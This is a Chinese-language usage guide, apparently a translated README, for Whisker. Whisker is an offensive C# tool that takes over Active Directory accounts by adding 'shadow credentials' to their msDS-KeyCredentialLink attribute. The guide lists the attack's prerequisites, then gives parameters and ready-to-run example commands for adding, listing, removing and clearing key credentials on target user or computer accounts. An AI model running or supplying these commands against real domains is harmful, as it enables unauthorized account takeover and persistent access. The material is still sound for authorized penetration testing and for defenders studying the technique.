Whisker 是一个C#工具,用于通过操控 Active Directory 用户和计算机账户的 msDS-KeyCredentialLink 属性来接管这些账户,实际上是向目标账户添加"影子凭据"。
该工具基于 Michael Grafnetter (@MGrafnetter) 的 DSInternals 代码。
要使此攻击成功,环境必须有一个至少运行 Windows Server 2016 的域控制器,并且该域控制器必须拥有服务器身份验证证书,以支持 PKINIT Kerberos 身份验证。
更多详情请参阅文章 Shadow Credentials: Abusing Key Trust Account Mapping for Takeover。

/target:<samAccountName>:必需。设置目标名称。计算机对象应以 '$' 符号结尾。
/domain:<FQDN>:可选。设置目标的完全限定域名(FQDN)。如果未提供,将尝试解析当前用户的FQDN。
/dc:<IP/HOSTNAME>:可选。设置目标域控制器(DC)。如果未提供,将尝试定位主域控制器(PDC)。
/path:<PATH>:可选。设置存储生成的自签名证书的路径,用于身份验证。如果未提供,证书将以Base64 blob形式打印。
/password:<PASWORD>:可选。设置存储的自签名证书的密码。如果未提供,将生成随机密码。
示例:Whisker.exe add /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1
/target:<samAccountName>:必需。设置目标名称。计算机对象应以 '$' 符号结尾。
/deviceID:<GUID>:必需。设置要从目标对象 msDS-KeyCredentialLink 属性中移除的值的 DeviceID。必须是有效的GUID。
/domain:<FQDN>:可选。设置目标的完全限定域名(FQDN)。如果未提供,将尝试解析当前用户的FQDN。
/dc:<IP/HOSTNAME>:可选。设置目标域控制器(DC)。如果未提供,将尝试定位主域控制器(PDC)。
示例:Whisker.exe remove /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /deviceid:2de4643a-2e0b-438f-a99d-5cb058b3254b
/target:<samAccountName>:必需。设置目标名称。计算机对象应以 '$' 符号结尾。
/domain:<FQDN>:可选。设置目标的完全限定域名(FQDN)。如果未提供,将尝试解析当前用户的FQDN。
/dc:<IP/HOSTNAME>:可选。设置目标域控制器(DC)。如果未提供,将尝试定位主域控制器(PDC)。
示例:Whisker.exe clear /target:computername$ /domain:constoso.local /dc:dc1.contoso.local
⚠️ 警告:清除已配置无密码身份验证的账户的 msDS-KeyCredentialLink 属性将导致服务中断。
/target:<samAccountName>:必需。设置目标名称。计算机对象应以 '$' 符号结尾。
/domain:<FQDN>:可选。设置目标的完全限定域名(FQDN)。如果未提供,将尝试解析当前用户的FQDN。
/dc:<IP/HOSTNAME>:可选。设置目标域控制器(DC)。如果未提供,将尝试定位主域控制器(PDC)。
示例:Whisker.exe list /target:computername$ /domain:constoso.local /dc:dc1.contoso.local